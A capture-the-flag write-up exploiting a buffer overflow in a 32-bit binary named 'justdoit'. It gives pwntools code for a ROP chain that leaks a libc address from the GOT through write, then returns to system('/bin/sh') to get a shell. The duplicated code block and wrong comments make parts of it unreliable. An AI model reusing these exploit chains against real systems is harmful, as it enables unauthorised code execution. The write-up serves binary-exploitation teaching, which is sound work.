1.1 - representation of the assembly code of the binary
So we have 32 bit binary and a buffer overflow vulnerability, lets use checksec to see its protections:
1 2 3 4 5
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
There isn’t a stack canary protection but we have NX ENABLED so we can’t execute code in the stack we have to use Return Oriented Programming(ROP) to leak libc addresses and finally return to libc… We can check which functions are available for us using objdump:
1 2 3 4 5 6 7 8 9 10 11 12
$ objdump -R justdoit
justdoit: file format elf32-i386
DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ffc R_386_GLOB_DAT __gmon_start__ 0804a00c R_386_JUMP_SLOT read@GLIBC_2.0 0804a010 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a01c R_386_JUMP_SLOT write@GLIBC_2.0
We have write which is everything we need to do this challenge, using write we can leak addresses from the Global Offset Table (GOT) with the leaks we can calculate the offsets using the lib.so that was provided by the challenge.
Here is the plan to exploit it:
1 2 3
1 - Overflow the buffer 2 - Using ROP to leak GOT addresses with write function and return to main 3 - Overflow the buffer again and jump to system with /bin/sh as argument
Overflow the buffer
According to the assembly code at picture 1.1 the read function will read up to 200 bytes so lets use metasploit to create a 200 byte pattern:
We can use pwntools to get the GOT and PLT addresses from the binary (note that you can use objdump too to achieve the same result). Memorize this if you are beginner in binary exploitation and don’t understand really well what GOT is, just remember if you want to jump and execute a function from libc you jump into PLT but if you want to leak an address from libc you get the value from the GOT address.
1 2 3 4 5 6 7 8
from pwn import *
binary = ELF('./justdoit') libc = ELF('libc.so.6') padding = 'A'*112 WRITEPLT = binary.plt['write'] PRINTFGOT = binary.got['printf'] MAIN = 0x804847d# You can get this from radare2 for example
Since the binary is 32 bits we don’t really need to pop stack address into specific registers like in 64 bit a simple ropchain to leak printf address can be built like this:
1 2 3 4 5 6
ropchain = '' ropchain += p32(WRITEPLT) # WRITE function "call" ropchain += p32(MAIN) # RETURN TO MAIN ropchain += p32(0x1) # STDIN ARG[0] ropchain += p32(PRINTFGOT) # PRINTF ADDRESS ARG[1] ropchain += p32(0x4) # BYTES TO READ ARG[2]
After we send this to the server, we can calculate everything with symbols from pwntools :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
r = getConn()
r.recvline() r.sendline(padding+ropchain) r.recv(len(padding)+len(ropchain)) # reads the printf output
If you are wondering where I got the offset of /bin/sh string , you can use a nice trick with strings command:
1 2
$ strings -a -t x libc.so.6 | grep '/bin/sh' 15900b /bin/sh
Overflow again and jump to libc
Now that we have system and /bin/sh string we can just jump into them! note that I had to readjust the padding offset (use gdb to check the values on the stack to calculate the offset):
1 2 3 4 5 6 7 8 9
ropchain2 = p32(SYSTEM) # WRITE function "call" ropchain2 += 'BBBB'# Return address doesn't really matter to where we return after shell ropchain2 += p32(BINSH)
ropchain2 = p32(SYSTEM) # WRITE function "call" ropchain2 += 'BBBB'# Return address doesn't really matter to where we return after shell ropchain2 += p32(BINSH)